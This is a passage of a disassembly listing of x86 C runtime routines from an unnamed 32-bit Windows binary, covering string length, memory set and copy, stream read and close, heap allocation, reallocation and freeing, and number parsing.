loc_41B9CC:				; CODE XREF: sub_41B9C0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BA13
		test	ecx, 3
		jnz	short loc_41B9CC
		add	eax, 0


loc_41B9E0:				; CODE XREF: sub_41B9C0+Aj
					; sub_41B9C0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BA31
		test	ah, ah
		jz	short loc_41BA27
		test	eax, 0FF0000h
		jz	short loc_41BA1D
		test	eax, 0FF000000h
		jz	short loc_41BA13
		jmp	short loc_41B9E0
; ---------------------------------------------------------------------------


loc_41BA13:				; CODE XREF: sub_41B9C0+11j
					; sub_41B9C0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B9C0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA27:				; CODE XREF: sub_41B9C0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B9C0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+5809p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41BA50
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA8A
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA3B+Ej
		test	al, 83h
		jz	short loc_41BA88
		push	esi
		call	sub_41E42B
		push	esi
		mov	edi, eax
		call	sub_41E3C5
		push	dword ptr [esi+10h]
		call	sub_41E312
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA76
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA88
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41BA3B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA88
		push	eax
		call	sub_41BA91
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA88:				; CODE XREF: sub_41BA3B+17j
					; sub_41BA3B+39j ...
		mov	eax, edi


loc_41BA8A:				; CODE XREF: sub_41BA3B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41BA3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA91	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A928+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41BAF7
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_41BABD
		push	esi
		call	sub_41E717
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BAE9
		push	eax
		call	sub_41E742
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BABD:				; CODE XREF: sub_41BA91+14j
		cmp	eax, 2
		jnz	short loc_41BAE8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 0Ch
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BAE8:				; CODE XREF: sub_41BA91+2Fj
					; sub_41BA91+44j
		push	esi


loc_41BAE9:				; CODE XREF: sub_41BA91+20j
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27D05FFh


loc_41BAF7:				; CODE XREF: sub_41BA91+Aj
					; sub_41BA91+2Aj ...
		pop	esi
		leave
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFA	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040FA8Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BB1E
		xor	eax, eax
		jmp	loc_41BBC7
; ---------------------------------------------------------------------------


loc_41BB1E:				; CODE XREF: sub_41BAFA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB31
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB31:				; CODE XREF: sub_41BAFA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB3A:				; CODE XREF: sub_41BAFA+C4j
		mov	ecx, [ebp+arg_0]


loc_41BB3D:				; CODE XREF: sub_41BAFA+35j
					; sub_41BAFA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB6F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BB6F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BB54
		mov	edi, eax


loc_41BB54:				; CODE XREF: sub_41BAFA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CD20
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BB6F:				; CODE XREF: sub_41BAFA+49j
					; sub_41BAFA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BBA2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BB85
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BB85:				; CODE XREF: sub_41BAFA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBCC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BBD2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BAFA+78j
		push	esi
		call	sub_41F8E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BBD6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BBBA:				; CODE XREF: sub_41BAFA+73j
					; sub_41BAFA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BB3A
		mov	eax, [ebp+arg_8]


loc_41BBC7:				; CODE XREF: sub_41BAFA+1Fj
					; sub_41BAFA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BBCC:				; CODE XREF: sub_41BAFA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BBD6
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BAFA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BBD6:				; CODE XREF: sub_41BAFA+B2j
					; sub_41BAFA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BBC7
sub_41BAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE2	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D9B3+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41BBFD
		push	[ebp+arg_4]
		call	sub_41BEB5
		pop	ecx
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BBFD:				; CODE XREF: sub_41BBE2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BC12
		push	[ebp+arg_0]
		call	sub_41BA91
		pop	ecx
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BC12:				; CODE XREF: sub_41BBE2+20j
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	loc_41BD22


loc_41BC20:				; CODE XREF: sub_41BBE2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BCFE
		push	[ebp+arg_0]
		call	sub_41E717
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BCD9
		cmp	esi, dword_4DD380
		ja	short loc_41BC92
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EF20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC8E
		push	esi
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BC92
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC72
		mov	eax, esi


loc_41BC72:				; CODE XREF: sub_41BBE2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41CD20
		push	ebx
		call	sub_41E717
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E742
		add	esp, 18h


loc_41BC8E:				; CODE XREF: sub_41BBE2+74j
		test	edi, edi
		jnz	short loc_41BCD5


loc_41BC92:				; CODE XREF: sub_41BBE2+62j
					; sub_41BBE2+81j
		test	esi, esi
		jnz	short loc_41BC99
		push	1
		pop	esi


loc_41BC99:				; CODE XREF: sub_41BBE2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27E0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BCD5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BCC1
		mov	eax, esi


loc_41BCC1:				; CODE XREF: sub_41BBE2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41CD20
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E742
		add	esp, 14h


loc_41BCD5:				; CODE XREF: sub_41BBE2+AEj
					; sub_41BBE2+D0j
		test	ebx, ebx
		jnz	short loc_41BCFA


loc_41BCD9:				; CODE XREF: sub_41BBE2+56j
		test	esi, esi
		jnz	short loc_41BCE0
		push	1
		pop	esi


loc_41BCE0:				; CODE XREF: sub_41BBE2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2880000h
		mov	edi, eax


loc_41BCFA:				; CODE XREF: sub_41BBE2+F5j
		test	edi, edi
		jnz	short loc_41BD1B


loc_41BCFE:				; CODE XREF: sub_41BBE2+43j
		cmp	dword_4DBE48, 0
		jz	short loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BC20
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BD1B:				; CODE XREF: sub_41BBE2+11Aj
					; sub_41BBE2+123j ...
		mov	eax, edi
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BD22:				; CODE XREF: sub_41BBE2+38j
		cmp	eax, 2
		jnz	loc_41BE3D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BD3F
		test	esi, esi
		jbe	short loc_41BD3C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41BBE2+150j
		push	10h
		pop	esi


loc_41BD3F:				; CODE XREF: sub_41BBE2+14Cj
					; sub_41BBE2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BE1F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BE03
		cmp	esi, dword_43CE74
		jnb	short loc_41BDC7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F83A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BD8D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BDBF
; ---------------------------------------------------------------------------


loc_41BD8D:				; CODE XREF: sub_41BBE2+1A4j
		push	edi
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BDC7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDA6
		mov	eax, esi


loc_41BDA6:				; CODE XREF: sub_41BBE2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h


loc_41BDBF:				; CODE XREF: sub_41BBE2+1A9j
		test	edi, edi
		jnz	loc_41BD1B


loc_41BDC7:				; CODE XREF: sub_41BBE2+18Bj
					; sub_41BBE2+1B6j
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27E0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BE1F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDE8
		mov	eax, esi


loc_41BDE8:				; CODE XREF: sub_41BBE2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h
		jmp	short loc_41BE17
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BBE2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2880000h
		mov	edi, eax


loc_41BE17:				; CODE XREF: sub_41BBE2+21Fj
		test	edi, edi
		jnz	loc_41BD1B


loc_41BE1F:				; CODE XREF: sub_41BBE2+162j
					; sub_41BBE2+1F8j
		cmp	dword_4DBE48, 0
		jz	loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BD3F
		jmp	short loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BBE2+143j
					; sub_41BBE2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BE67
		test	esi, esi
		jnz	short loc_41BE4B
		push	1
		pop	esi


loc_41BE4B:				; CODE XREF: sub_41BBE2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2880000h
		test	eax, eax
		jnz	short loc_41BE7D


loc_41BE67:				; CODE XREF: sub_41BBE2+260j
		cmp	dword_4DBE48, 0
		jz	short loc_41BE7D
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE3D


loc_41BE7B:				; CODE XREF: sub_41BBE2+2Bj
					; sub_41BBE2+134j ...
		xor	eax, eax


loc_41BE7D:				; CODE XREF: sub_41BBE2+16j
					; sub_41BBE2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE82	proc near		; CODE XREF: sub_41BEA2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FD3D
		test	eax, eax
		jnz	short loc_41BE8C
		retn
; ---------------------------------------------------------------------------


loc_41BE8C:				; CODE XREF: sub_41BE82+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FBCD
		add	esp, 10h
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEA2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+57DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BE82
		add	esp, 0Ch
		retn
sub_41BEA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEB5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A928+63p ...

arg_0		= dword	ptr  4

		push	dword_4DBE48
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41BEB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC7	proc near		; CODE XREF: sub_41BEB5+Ap
					; sub_41D9A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BEF0


loc_41BECE:				; CODE XREF: sub_41BEC7+27j
		push	[esp+arg_0]
		call	sub_41BEF3
		test	eax, eax
		pop	ecx
		jnz	short locret_41BEF2
		cmp	[esp+arg_4], eax
		jz	short locret_41BEF2
		push	[esp+arg_0]
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BECE


loc_41BEF0:				; CODE XREF: sub_41BEC7+5j
		xor	eax, eax

locret_41BEF2:				; CODE XREF: sub_41BEC7+13j
					; sub_41BEC7+19j
		retn
sub_41BEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF3	proc near		; CODE XREF: sub_41BEC7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DD388
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BF17
		cmp	esi, dword_4DD380
		ja	short loc_41BF49
		push	esi
		call	sub_41EA6B
		test	eax, eax
		pop	ecx
		jz	short loc_41BF49
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BEF3+Dj
		cmp	eax, 2
		jnz	short loc_41BF49
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BF2C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------


loc_41BF2C:				; CODE XREF: sub_41BEF3+2Fj
		push	10h
		pop	esi


loc_41BF2F:				; CODE XREF: sub_41BEF3+37j
		cmp	esi, dword_43CE74
		ja	short loc_41BF56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BF65
		jmp	short loc_41BF56
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BEF3+15j
					; sub_41BEF3+20j ...
		test	esi, esi
		jnz	short loc_41BF50
		push	1
		pop	esi


loc_41BF50:				; CODE XREF: sub_41BEF3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BF56:				; CODE XREF: sub_41BEF3+42j
					; sub_41BEF3+54j
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27E0000h


loc_41BF65:				; CODE XREF: sub_41BEF3+52j
		pop	esi
		retn
sub_41BEF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BFC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BFB7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BF99
		sub	edx, ecx


loc_41BF93:				; CODE XREF: sub_41BF70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BF93


loc_41BF99:				; CODE XREF: sub_41BF70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BFB7
		rep stosd
		test	edx, edx
		jz	short loc_41BFBD


loc_41BFB7:				; CODE XREF: sub_41BF70+18j
					; sub_41BF70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BFB7


loc_41BFBD:				; CODE XREF: sub_41BF70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFC3:				; CODE XREF: sub_41BF70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFD0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41C053
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BFF4
		shr	ecx, 2
		jnz	short loc_41C061
		jmp	short loc_41C015
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41BFD0+1Bj
					; sub_41BFD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41C022
		test	al, al
		jz	short loc_41C02A
		test	esi, 3
		jnz	short loc_41BFF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C061


loc_41C010:				; CODE XREF: sub_41BFD0+8Fj
		and	ebx, 3
		jz	short loc_41C022


loc_41C015:				; CODE XREF: sub_41BFD0+22j
					; sub_41BFD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41C04E
		dec	ebx
		jnz	short loc_41C015


loc_41C022:				; CODE XREF: sub_41BFD0+2Bj
					; sub_41BFD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFD0+2Fj
		test	edi, 3
		jz	short loc_41C044


loc_41C032:				; CODE XREF: sub_41BFD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41C0C6
		test	edi, 3
		jnz	short loc_41C032


loc_41C044:				; CODE XREF: sub_41BFD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C0B7


loc_41C04B:				; CODE XREF: sub_41BFD0+7Fj
					; sub_41BFD0+F4j
		mov	[edi], al
		inc	edi


loc_41C04E:				; CODE XREF: sub_41BFD0+4Dj
		dec	ebx
		jnz	short loc_41C04B
		pop	ebx
		pop	esi


loc_41C053:				; CODE XREF: sub_41BFD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C059:				; CODE XREF: sub_41BFD0+A9j
					; sub_41BFD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C010


loc_41C061:				; CODE XREF: sub_41BFD0+20j
					; sub_41BFD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C059
		test	dl, dl
		jz	short loc_41C0AB
		test	dh, dh
		jz	short loc_41C0A1
		test	edx, 0FF0000h
		jz	short loc_41C097
		test	edx, 0FF000000h
		jnz	short loc_41C059
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C097:				; CODE XREF: sub_41BFD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41BFD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0AB:				; CODE XREF: sub_41BFD0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41C0AF:				; CODE XREF: sub_41BFD0+C5j
					; sub_41BFD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41C0C1


loc_41C0B7:				; CODE XREF: sub_41BFD0+79j
		xor	eax, eax


loc_41C0B9:				; CODE XREF: sub_41BFD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41C0B9


loc_41C0C1:				; CODE XREF: sub_41BFD0+E5j
		and	ebx, 3
		jnz	short loc_41C04B


loc_41C0C6:				; CODE XREF: sub_41BFD0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BFD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0CE	proc near		; CODE XREF: sub_41C159+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41C0D6:				; CODE XREF: sub_41C0CE+34j
		cmp	dword_43D084, 1
		jle	short loc_41C0EE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C0FD
; ---------------------------------------------------------------------------


loc_41C0EE:				; CODE XREF: sub_41C0CE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C0FD:				; CODE XREF: sub_41C0CE+1Ej
		test	eax, eax
		jz	short loc_41C104
		inc	edi
		jmp	short loc_41C0D6
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C0CE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41C114
		cmp	esi, 2Bh
		jnz	short loc_41C118


loc_41C114:				; CODE XREF: sub_41C0CE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41C118:				; CODE XREF: sub_41C0CE+44j
		xor	ebx, ebx


loc_41C11A:				; CODE XREF: sub_41C0CE+7Bj
		cmp	dword_43D084, 1
		jle	short loc_41C12F
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C13A
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41C0CE+53j
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C13A:				; CODE XREF: sub_41C0CE+5Fj
		test	eax, eax
		jz	short loc_41C14B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41C11A
; ---------------------------------------------------------------------------


loc_41C14B:				; CODE XREF: sub_41C0CE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41C154
		neg	eax


loc_41C154:				; CODE XREF: sub_41C0CE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C0CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+717p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C0CE
		pop	ecx
		retn
sub_41C159	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43AE1C
		test	eax, eax
		jz	short loc_41C16F
		call	eax ; sub_41D124


loc_41C16F:				; CODE XREF: ___:0041C16Bj
		push	offset dword_429028
		push	offset dword_429014
		call	sub_41C24C
		push	offset dword_429010
		push	offset dword_429000
		call	sub_41C24C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41C1B3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C1A2	proc near		; CODE XREF: sub_41E2C9+1Cp
					; sub_422DFC+21E6p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B3	proc near		; CODE XREF: ___:0041C199p
					; sub_41C1A2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DBE24, edi
		jnz	short loc_41C1D0
		push	[esp+4+arg_0]
		nop
		call	near ptr 27408FDh
		push	eax
		nop
		call	near ptr 274026Bh


loc_41C1D0:				; CODE XREF: sub_41C1B3+Aj
